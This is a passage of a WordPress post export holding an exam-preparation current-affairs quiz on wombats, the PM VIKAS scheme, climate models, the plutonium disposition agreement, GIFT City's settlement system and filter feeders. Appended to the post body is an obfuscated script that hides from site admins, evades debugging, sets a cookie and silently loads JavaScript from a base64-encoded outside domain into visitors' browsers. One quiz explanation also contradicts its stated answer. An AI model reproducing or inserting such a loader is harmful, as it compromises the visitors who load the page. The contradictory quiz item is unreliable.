has-text-color has-link-color wp-elements-116 wp-block-paragraph\">2. They have a backward-facing pouch, which prevents soil from entering while digging.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">3. They use their whiskers as sensitive tools to navigate dark, narrow burrows, detect food, and communicate with other wombats through touch and smell.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>In NEWS: <\/strong>Whiskers for warrens: why wombats have such whiskery snouts<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Wombats:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>Wombats are <strong>burrowing marsupials native to Australia<\/strong>, known for their stout bodies, short legs, and strong claws adapted for digging. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>They are <strong>herbivores<\/strong>, feeding mostly on grasses, roots, and bark, and have a slow metabolism that helps them conserve energy.<\/li>\n\n\n\n<li>Wombats are mostly <strong>nocturnal and solitary<\/strong>, spending much of the day in their burrows to avoid heat and predators.<\/li>\n\n\n\n<li>They have a <strong>backward-facing pouch<\/strong>, which prevents soil from entering while digging. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Wombats play an important ecological role as \u201cecosystem engineers,\u201d creating burrows that provide shelter for other species.<\/li>\n\n\n\n<li>Wombats use their <strong>whiskers<\/strong> (a long projecting hair or bristle growing from the face or snout of many mammals.) as sensitive tools to navigate dark, narrow burrows, detect food, and communicate with other wombats through touch and smell. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Hairy-nosed wombats have longer, thicker, and more whiskers than bare-nosed wombats, likely because they live in more complex underground burrow systems (warrens).<\/li>\n\n\n\n<li>Wombats rely heavily on smell, with a well-developed olfactory system and vomeronasal organ, helping them forage, detect predators, and sense social cues.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><strong>Q. Consider the following statements regarding the Indian squirrels:<\/strong> <br><br>1. They build nests by making burrows in the ground. <br>2. They store their food materials like nuts and seeds in the ground. <br>3. They are omnivorous. <br><br><strong>How many of the above statements are correct?<\/strong> <br><br>(a) Only one <br><strong>(b) Only two<\/strong> <br>(c) All three <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/whiskers-for-warrens-why-wombats-have-such-whiskery-snouts\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/whiskers-for-warrens-why-wombats-have-such-whiskery-snouts<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><a><\/a><strong>6. Which one of the following is the purpose of \u2018PM VIKAS\u2019, a scheme of the Government?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(a) Providing technical and financial assistance to start-up entrepreneurs in the field of renewable sources of energy<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(b) Replacing traditional crafts with modern manufacturing industries<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(c) Providing financial support for construction of urban infrastructure<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(d) Enhancing employability and skill development of youth from minority communities<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Answer: (d) Enhancing employability and skill development of youth from minority communities<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>In NEWS: <\/strong>MoU signed for Skilling Project under PM VIKAS Scheme between Ministry of Minority Affairs and IIT Palakkad, Kerala<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>PM VIKAS Scheme:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li><strong>Full Form &amp; Launch:<\/strong> PM VIKAS stands for <strong>Pradhan Mantri Vikas Scheme<\/strong>, launched by the <strong>Ministry of Minority Affairs<\/strong>.<\/li>\n\n\n\n<li><strong>Objective:<\/strong> The scheme aims to <strong>enhance employability and technical skills<\/strong> of youth from <strong>minority communities<\/strong>. <strong>Hence option (d) is correct.<\/strong><\/li>\n\n\n\n<li><strong>Collaboration with Institutes:<\/strong> Training programs under PM VIKAS are implemented in partnership with reputed institutes like <strong>IIT Palakkad<\/strong>.<\/li>\n\n\n\n<li><strong>Skill Development Focus:<\/strong> Candidates are trained in <strong>emerging technology areas<\/strong>, such as <strong>Drone R&amp;D, Embedded Software, and Junior Chip Design<\/strong>, rather than only traditional crafts.<\/li>\n\n\n\n<li><strong>Capacity Building:<\/strong> Each training initiative targets <strong>hundreds of candidates<\/strong> from minority communities per project cycle.<\/li>\n\n\n\n<li><strong>Employment &amp; Entrepreneurship:<\/strong> The scheme <strong>prepares youth for high-demand jobs<\/strong>, promotes <strong>research and innovation<\/strong>, and encourages <strong>entrepreneurial ventures<\/strong>.<\/li>\n\n\n\n<li><strong>Inclusivity &amp; Equity:<\/strong> Focuses on <strong>minority communities<\/strong>, contributing to <strong>inclusive growth and skill empowerment<\/strong>.<\/li>\n\n\n\n<li><strong>Alignment with National Goals:<\/strong> Supports <strong>technical education, innovation, and skill-based employment<\/strong>, aligning with India\u2019s broader <strong>digital and high-tech workforce development initiatives<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><strong>Q. Which one of the following is a purpose of \u2018UDAY\u2019, a scheme of the Government?<\/strong> <br><br>(a) Providing technical and financial assistance to start-up entre-preneurs in the field of renewable sources of energy <br>(b) Providing electricity to every household in the country by 2018 <br>(c) Replacing the coal-based power plants with natural gas, nuclear, solar, wind and tidal power plants over a period of time. <br><strong>(d) Providing for financial turnaround and revival of power distribution companies<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2176389\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2176389<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>7. Which of the following statements best describes the term \u2018Climate Models\u2019?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(a) Computer simulations that use mathematical equations to represent interactions within Earth\u2019s climate system.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(b) Instruments that record real-time weather data such as temperature and rainfall.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(c) Statistical methods focused on analyzing historical climate trends without predicting future changes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(d) Simple graphical tools used to monitor daily weather variations in local areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Answer: (a) Computer simulations that use mathematical equations to represent interactions within Earth\u2019s climate system.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>In NEWS: <\/strong>How do climate models work, how accurate are they?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Climate models:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">Climate models are complex computer simulations that use mathematical equations to represent the interactions of major components of the Earth&#8217;s climate system:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-150\">\n<li>Atmosphere<\/li>\n\n\n\n<li>Oceans<\/li>\n\n\n\n<li>Land surface<\/li>\n\n\n\n<li>Ice and snow<\/li>\n\n\n\n<li>Living organisms (in advanced models) <strong>Hence option (a) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">These models are used to simulate past, present, and future climate conditions based on physical laws like thermodynamics, fluid dynamics, and radiation balance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Types &amp; Scales of Climate Models<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-153\">\n<li><strong>Energy Balance Models (EBMs): <\/strong>The simplest models that balance incoming solar energy with outgoing heat from the Earth.<\/li>\n\n\n\n<li><strong>Radiative-Convective Models (RCMs):<\/strong> These add the vertical transfer of energy within the atmosphere, improving on EBMs by simulating temperature changes with altitude.<\/li>\n\n\n\n<li><strong>General Circulation Models (GCMs) \/ Global Climate Models: <\/strong>Complex models that simulate global climate systems, including interactions between the oceans, atmosphere, ice, and land.<\/li>\n\n\n\n<li><strong>Regional Climate Models (RCMs): <\/strong>Higher resolution models that focus on specific geographic regions to capture local climate details more accurately.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Accuracy &amp; Limitations<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-155\">\n<li>Climate models are effective at capturing large-scale, long-term trends such as global temperature rise and sea level increase by comparing model outputs with historical climate data.<\/li>\n\n\n\n<li>However, models face limitations due to:<\/li>\n\n\n\n<li>Lack of sufficient observational data in many parts of the world, especially in developing regions.<\/li>\n\n\n\n<li>Difficulty in accurately representing complex processes like cloud formation, land-atmosphere interactions, and extreme weather events.<\/li>\n\n\n\n<li>Coarse spatial resolution (typically grid sizes of 100 to 250 km), which limits their ability to simulate fine-scale phenomena such as local rainfall patterns or urban microclimates.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><strong>Q. Which of the following statements best describes the term \u2018Social Cost of Carbon\u2019?<\/strong> It is a measure, in monetary value, of the <br><br><strong>(a) long-term damage done by a tonne of CO2 emissions in a given year.<\/strong> <br>(b) requirement of fossil fuels for a country to provide goods and services to its citizens, based on the burning of those fuels. <br>(c) efforts put in by a climate refugee to adapt to live in a new place. <br>(d) contribution of an individual person to the carbon footprint on the planet Earth.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-climate\/trump-climate-models-10281843\/?ref=explained_pg\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-climate\/trump-climate-models-10281843\/?ref=explained_pg<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>8. Regarding the &#8220;Plutonium Management and Disposition Agreement (PMDA)&#8221;, which one of the following statements is not correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(a) It is an agreement between the United States and Russia to reduce risks from surplus weapons-grade plutonium.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(b) The agreement aims to dispose of at least 34 tonnes of weapons-grade plutonium from each country.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">(c) Plutonium disposal methods under the agreement include converting it into mixed oxide (MOX) fuel and irradiating it in fast-neutron reactors.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(d) The PMDA was signed and came into force in 2011.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Answer: (d) The PMDA was signed and came into force in 2011.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>In NEWS: <\/strong>Russia moves to withdraw from plutonium agreement with the U.S.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>The Plutonium Management and Disposition Agreement (PMDA):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-166\">\n<li>An agreement signed in 2000 between the United States and Russia to reduce the risks associated with surplus weapons-grade plutonium from dismantled nuclear warheads.<\/li>\n\n\n\n<li>PMDA was a landmark arms control treaty aimed at nuclear disarmament and reducing the threat posed by leftover Cold War nuclear materials.<\/li>\n\n\n\n<li>The agreement came into force in 2011 after ratification by both countries.<\/li>\n\n\n\n<li>It aims to dispose of at least 34 tonnes of weapons-grade plutonium each by converting it into safer, non-weapons forms.<\/li>\n\n\n\n<li>This process aimed to reduce nuclear proliferation risks and manage nuclear materials responsibly.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Methods of Disposal:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-168\">\n<li>Converting plutonium into mixed oxide (MOX) fuel, usable in nuclear reactors for electricity generation.<\/li>\n\n\n\n<li>Irradiating plutonium in fast-neutron reactors to render it unsuitable for weapons.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Challenges:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-170\">\n<li>Russia suspended implementation in 2016, citing U.S. sanctions and changes in U.S. plutonium disposal methods.<\/li>\n\n\n\n<li>Russia also criticized what it saw as threats to strategic stability and non-compliance by the U.S.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><strong>Q. What is\/are the consequence\/consequences of a country becoming the member of the &#8216;Nuclear Suppliers Group&#8217;?<\/strong> <br><br>1. It will have access to the latest and most efficient nuclear technologies. <br>2. It automatically becomes a member of &#8220;The Treaty on the Non-Proliferation of Nuclear Weapons (NPT)&#8221;. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/russia-moves-to-withdraw-from-plutonium-agreement-with-the-united-states\/article70140905.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/russia-moves-to-withdraw-from-plutonium-agreement-with-the-united-states\/article70140905.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>9. Which of the following are the likely benefits of implementing the Foreign Currency Settlement System (FCSS) at the International Financial Services Centre (IFSC) in GIFT City?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">I. Reduction in transaction costs and settlement timelines for banks<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">II. Mitigation of foreign exchange risks through local currency settlements<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">III. Improved liquidity management for banks engaged in foreign currency operations<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\">(a) I and II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\">(b) III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">(c) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\">(d) II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>Answer: (c) I, II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\"><strong>In NEWS: <\/strong>Union Finance Minister Nirmala Sitharaman on Tuesday (October 7) launched a Foreign Currency Settlement System (FCSS) at the International Financial Services Centre (IFSC) in Gujarat International Finance Tec-City (GIFT City).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Foreign Currency Settlement System (FCSS):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-185\">\n<li>Foreign Currency Settlement System (FCSS) at the International Financial Services Centre (IFSC) in Gujarat International Finance Tec-City (GIFT City).<\/li>\n\n\n\n<li>It means that transactions in foreign currency by entities within GIFT IFSC can now be settled in real time or near real time, instead of the current delays of 36-48 hours under traditional correspondent banking.<\/li>\n\n\n\n<li>This positions GIFT City among the select group of global financial centres (such as Hong Kong, Tokyo, Manila) that have local infrastructure to settle foreign currency transactions.<\/li>\n\n\n\n<li>FCSS is a payment and settlement system introduced by the Reserve Bank of India (RBI) to facilitate the settlement of foreign currency transactions between banks within India without routing through overseas correspondent banks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>How it Works:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-187\">\n<li>Participating banks in India settle their foreign currency transactions among themselves on a net basis.<\/li>\n\n\n\n<li>RBI acts as the clearinghouse, calculating net positions and facilitating settlement in foreign currencies like USD, Euro, JPY, and GBP.<\/li>\n\n\n\n<li>This minimizes foreign exchange risk and improves liquidity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>Benefits:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-189\">\n<li>Reduces transaction costs and settlement time for banks.<\/li>\n\n\n\n<li>Minimizes foreign exchange risk by allowing settlement in foreign currency locally.<\/li>\n\n\n\n<li>Enhances liquidity management for banks dealing in foreign currencies.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\"><strong>Hence option (d) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><strong>Q. What is\/are the most likely advantages of implementing \u2018Goods and Services Tax (GST)\u2019?<\/strong> <br><br>1. It will replace multiple taxes collected by multiple authorities and will thus create a single market in India. <br>2. It will drastically reduce the \u2018Current Account Deficit\u2019 of India and will enable it to increase its foreign exchange reserves. <br>3. It will enormously increase the growth and size of economy of India and will enable it to overtake China in the near future. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.business-standard.com\/finance\/news\/foreign-currency-settlement-system-gift-city-launch-ifsc-nostro-125100800568_1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.business-standard.com\/finance\/news\/foreign-currency-settlement-system-gift-city-launch-ifsc-nostro-125100800568_1.html<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>10. Which one of the following is a filter feeder?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\">(a) Catfish<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\">(b) Octopus<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\">(c) Oyster<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\">(d) Pelican<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>Answer: (c) Oyster<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-199\">\n<li>Filter feeders are organisms that obtain food by filtering suspended matter and food particles from water.<\/li>\n\n\n\n<li>Oysters feed by drawing in water and filtering out plankton and other nutrients using their gills. <strong>Hence option (c) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\"><strong>Why not the others?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-201\">\n<li>Catfish \u2013 Bottom feeder, uses barbels to find food in mud, not a filter feeder.<\/li>\n\n\n\n<li>Octopus \u2013 Active predator, catches prey like crabs and small fish.<\/li>\n\n\n\n<li>Pelican \u2013 Catches fish using its beak and pouch, not by filtering water.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to the applications of Metal &#8211; Organic Frameworks (MOFs), consider the following: 1. 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